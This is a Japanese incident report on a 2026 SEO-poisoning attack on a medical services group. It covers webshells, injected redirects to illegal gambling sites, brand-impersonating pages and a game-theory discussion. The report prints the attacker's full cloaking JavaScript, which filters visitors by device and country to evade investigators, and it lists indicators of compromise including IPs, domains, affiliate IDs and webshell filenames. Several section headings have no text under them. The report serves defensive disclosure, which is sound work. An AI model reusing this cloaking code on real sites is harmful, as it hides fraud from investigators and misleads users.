医療法人グループを標的とした
4ヶ月計画のデュアルレバレッジ型
SEOポイズニング攻撃

2026年4月4日、インドネシアを拠点とする犯罪組織は、日本の医療情報サービス事業者Medi Face, Ltd.（医療法人鳳應会グループ）を標的とした攻撃インフラの構築を開始した。攻撃実行から120日以上前である。2026年8月12日19時33分（JST）に攻撃が起動され、PHPウェブシェルを介してサーバー全体が制御されたのち、インドネシア系違法オンライン賭博サイトへのSEO誘導コードが130件以上のページに注入された。

本稿では、本攻撃の技術的構造を詳細に解析する。特筆すべきは、本攻撃が単なる「金銭目的のSEOスパム」に留まらず、被害法人があたかも違法カジノを運営しているかのような虚偽の事実を恒久的に構築する「デュアルレバレッジ型」設計であった点である。また、攻撃者インフラの設計水準は、セキュリティ研究コミュニティが「敵ながらあっぱれ」と評さざるを得ないほどの技術的緻密さを有しており、純粋な学術的考察対象として高い価値を持つ。

これは公益的な情報共有であり、本稿の読者が同様の被害を受けないための予防的知識提供を主たる目的とする。

序文：なぜ医療法人が標的となったのか

Medi Face, Ltd.および医療法人鳳應会グループ（代表：近澤徹）は、medi-face.co.jp・FRAISE CLINICをはじめとする医療情報サービス・オンラインクリニックを運営する法人グループである。攻撃者はこのグループを120日以上前から綿密に調査・準備し、グループのブランド名（「medi-face」「fraise-clinic」）を詐称した偽サイトを事前に構築したうえで、攻撃を実行した。これは「日和見的攻撃」でも「自動スキャンによる偶発的侵入」でもなく、特定の標的を狙った高度標的型組織犯罪である。

1.1 本稿を公開する大義名分

我々がこの文書を公開するのは、社会における公益性のためであり、ここに記述された事実は、今後同様の攻撃に備えるすべての医療機関・ウェブサイト運営者・セキュリティ研究者のための知識資産である。

攻撃者は巧妙な設計により、日本国内からの調査ではほとんどの証拠が確認できないようにしている（後述のクローキング機構）。

攻撃の全体像：なぜ「機会犯」ではなく「標的型組織犯罪」か

本攻撃が計画的・標的型であることを証明する6つの証拠を示す。

2.1 攻撃タイムライン（精度：秒単位）

攻撃インフラの5段階構造：防弾設計とレイヤーアーキテクチャ

本攻撃の最も注目すべき特徴の一つは、そのインフラ設計の緻密さである。攻撃者は単一のサーバーや単一のサービスに依存せず、複数のレイヤーと2系統の冗長チェーンを持つ「防弾（Bulletproof）」アーキテクチャを採用した。いずれか一つのノードが停止・報告されても、残余の系統で攻撃を継続できる設計となっている。

3.1 チェーンA — medi-faceルート

3.2 チェーンB — fraise-clinicルート（独立冗長系）

3.3 論理レイヤー構成

ブランド詐称Cloudflare Pagesの技術解析

攻撃者は被害法人のCloudflareアカウントとは全く別の攻撃者管理Cloudflareアカウントで、被害法人のブランド名を使ったPages（medi-face.pages.dev・fraise-clinic.pages.dev）を作成した。これらは外見上、被害法人の公式ページと誤認させるように設計されている。

4.1 medi-face.pages.dev — 技術解析

4.2 fraise-clinic.pages.dev/DETIKBET — 技術解析

クローキングエンジンの完全コード解析

// ===================== クローキングエンジン（実際のソースコード）=====================
// 出典: jutsu-seribu-bayangan.pages.dev （攻撃者管理・Cloudflare Pages）
// 取得日: 2026-08-13
// 設計: 3層フィルタリング — Layer1:デバイス → Layer2:国籍 → Layer3:振り分け

(function() {
    // ★ 設定値（ここが攻撃者の「証拠」）
    const TARGET_URL   = "https://terreagoodboy.store/register?ref=MKPA2AD00002";
    const FALLBACK_URL = "https://jutsu-seribu-bayangan.pages.dev/"; // 自分自身へループ = 証拠隠滅

    // ─── Layer 1: デバイス検出 ───────────────────────────────────────────
    // Android / iPhone のみ通過。PC・タブレット・botは即フォールバック。
    // → 日本の捜査官がPCでアクセスした瞬間に無害ループへ。
    function detectDevice() {
        const ua = navigator.userAgent || navigator.vendor || window.opera || '';
        if (/android/i.test(ua))       return 'Android';
        if (/iPhone|iPod/i.test(ua))   return 'iPhone';
        if (/iPad/i.test(ua))          return 'iPad';
        return 'Other'; // PC → 即フォールバック
    }

    // ─── Layer 2: 国籍検出（3重フェイルオーバー + 3秒タイムアウト）─────────
    // インドネシア（"ID"）のみ通過。日本・米国・欧州・VPN等はフォールバック。
    // 3つのIP位置情報APIを順次試行し、全て失敗してもunknown=フォールバック。
    // → VPN使用の研究者も、IPがインドネシアでなければ通過不可。
    function detectCountryWithTimeout(callback) {
        let isResolved = false;
        let timeoutId  = null;

        function resolveCountry(code) {
            if (isResolved) return;
            isResolved = true;
            if (timeoutId) clearTimeout(timeoutId);
            callback(code);
        }

        // 3秒以内に判定できなければ "unknown" → フォールバック（誤動作防止）
        timeoutId = setTimeout(() => resolveCountry('unknown'), 3000);

        // API①: ipapi.co（プライマリ）
        fetch('https://ipapi.co/json/')
            .then(r => r.json()).then(d => resolveCountry(d.country_code || ''))
            .catch(() => {
                // API②: ip-api.com（フォールバック1）
                fetch('https://ip-api.com/json/')
                    .then(r => r.json()).then(d => resolveCountry(d.countryCode || ''))
                    .catch(() => {
                        // API③: ipinfo.io（フォールバック2）
                        fetch('https://ipinfo.io/json')
                            .then(r => r.json()).then(d => resolveCountry(d.country || ''))
                            .catch(() => resolveCountry('unknown')); // 全API失敗 → フォールバック
                    });
            });
    }

    // ─── Layer 3: 最終振り分け ────────────────────────────────────────────
    function processCloaking() {
        const device = detectDevice();

        // iPad含む全PC → 即フォールバック（捜査員・研究者は通過不可）
        if (device !== 'Android' && device !== 'iPhone') {
            window.location.replace(FALLBACK_URL);
            return;
        }

        // モバイルのみ国籍チェック実行
        detectCountryWithTimeout(function(countryCode) {
            const isIndonesia = (countryCode.toUpperCase() === 'ID');
            if (isIndonesia) {
                // ✅ インドネシアモバイル → ギャンブルサイトへ（アフィリエイト収益発生）
                window.location.replace(TARGET_URL);
            } else {
                // ⛔ 日本人・欧米・不明 → 自分自身にループ（証拠を残さない）
                window.location.replace(FALLBACK_URL);
            }
        });
    }

    processCloaking(); // エントリーポイント
})();

5.1 アクセス者タイプ別の振る舞い

攻撃者が採用した10の高度反検出・隠蔽技術

本攻撃において攻撃者が採用した技術的手法を、セキュリティエンジニアの観点から詳細に解析する。 特に技術的完成度が高いものには ★敵ながらあっぱれ を付記する。

ゲーム理論的分析：デュアルレバレッジ支配戦略

John von Neumann（1903–1957）の展開形ゲーム理論の枠組みで本攻撃を解析すると、攻撃者の戦略が単純な金銭窃取を超えた精妙な設計であることが浮き彫りになる。感情を一切排除し、純粋な数理的観点から記述する。

7.1 デュアルレバレッジ：一石二鳥の支配戦略

本攻撃は単一投資から二つの独立した利得ストリームを生成するよう設計されている：

7.2 クローキングによる情報非対称性の創出

ハーサニ（1967）の不完全情報ゲーム理論において、情報非対称性はゲームの構造を根本的に変える。本攻撃のクローキングシステムは以下の情報非対称性を人為的に構築した：

7.3 防御者の最適応答：完全公開という均衡戦略

表1: 利得行列（部分ゲーム完全均衡分析）— D の支配応答は「完全公開 + 法的行動」

バックワードインダクションにより、防御者の最適（支配）戦略は完全公開である。攻撃者の「核ボタン」（虚偽の賭博運営者として当局に告発するオプション）は、その存在が完全に公知となった時点で脅迫価値を喪失する。本稿の公開はこの均衡戦略の実行である。

確認済みIoC（侵害の痕跡）一覧

以下のIoCをセキュリティコミュニティに公開する。防御・研究・調査目的への自由な利用を許可する。

182.10.98.57     # Indonesia — Primary operator, initial webshell activation (19:33:27 JST)
103.20.83.86     # Indonesia — Highest frequency access throughout attack
114.10.65.118    # Indonesia — Telkom Indonesia
103.236.188.241  # Indonesia
180.243.11.97    # Indonesia — Telkom Indonesia (Telkomsel)
31.56.30.60      # Iran — Secondary operator (joined 20:37 JST)
103.141.164.246  # Unknown — Additional participant
2400:9800::/32   # Telkomsel IPv6 range (Indonesia)

m4udd0syastvp1d.online          # NameCheap · 2026-04-04 · IP: 198.54.120.152 · Redirect node
bringmetolife.store              # NameCheap · 2026-04-05 · Gambling dest · Affiliate: cSyJDyLy
terreagoodboy.store              # NameCheap · updated 2026-08-09 · IPs: 45.194.53.52 / 45.194.53.26
jutsu-seribu-bayangan.pages.dev  # Cloudflare Pages (attacker acct) · Cloaking engine A
wewillrockyou.pages.dev          # Cloudflare Pages (attacker acct) · Cloaking engine B
medi-face.pages.dev              # Cloudflare Pages (attacker acct) · BRAND IMPERSONATION A
fraise-clinic.pages.dev          # Cloudflare Pages (attacker acct) · BRAND IMPERSONATION B

Gambling Affiliate ID #1:       cSyJDyLy         (bringmetolife.store)
Gambling Affiliate ID #2:       MKPA2AD00002     (terreagoodboy.store)
Google Search Console Token:    2Z_wOjQcGzVd53eRds3fVWKSAaDsyNsUl7AsNymx4tc
ImageKit.io Account:            dewi11           (ik.imagekit.io/dewi11/)
Imgur Image ID:                 lyf87zA.png      (uploaded 2026-04-28)
Registrar Privacy Shield:       Withheld for Privacy ehf (Reykjavik, Iceland)
Common Nameserver:              nile.ns.cloudflare.com / sasha.ns.cloudflare.com
C2 Channel:                     Telegram (confirmed via Referer: web.telegram.org)

fgh.php          # Initial shell — direct access without reconnaissance
yomanx498.php    # Secondary shell (redundancy)
n0bgxdjskd.php   # Secondary shell
mails.php        # Shell with mail-mimicking filename
follder.php      # Shell with typo-based obfuscation
carrier/sshy.php # Shell in subdirectory

結論：本事案が示すセキュリティ上の教訓

本事案は、以下の点において2020年代のサイバー犯罪の進化を示す代表的症例である：

1. APT（高度持続的脅威）的手法の民主化：国家レベルとされてきた事前偵察・計画・インフラ構築・分業体制が、経済犯罪目的の一般的犯罪集団によって採用されている。
2. 合法インフラの武器化：Cloudflare Pages・Google AMP・ImageKit・Imgur・Telegram等、すべてが正規の評判の高いサービスである。従来のIPレピュテーションベースの防御は無効化される。
3. 調査を設計段階で無力化：日本国内からの調査では原理的に証拠が確認できないクローキング設計は、インターネット境界を超えた国際的調査協力なしには対抗できない新しい挑戦を提示する。
4. デュアルユース型の構造：SEO収益と法的脅迫力を同一インフラで同時に実現する設計は、従来のサイバー犯罪分類を超えた新しい脅威類型を示す。

そして最後に：完全な透明性こそが最善の防御である。攻撃者が構築した「虚偽の事実」の脅迫力は、それが完全に公知となった瞬間に消滅する。本稿の公開はその瞬間の記録であり、かつ次の被害者を生まないための公益的贈与である。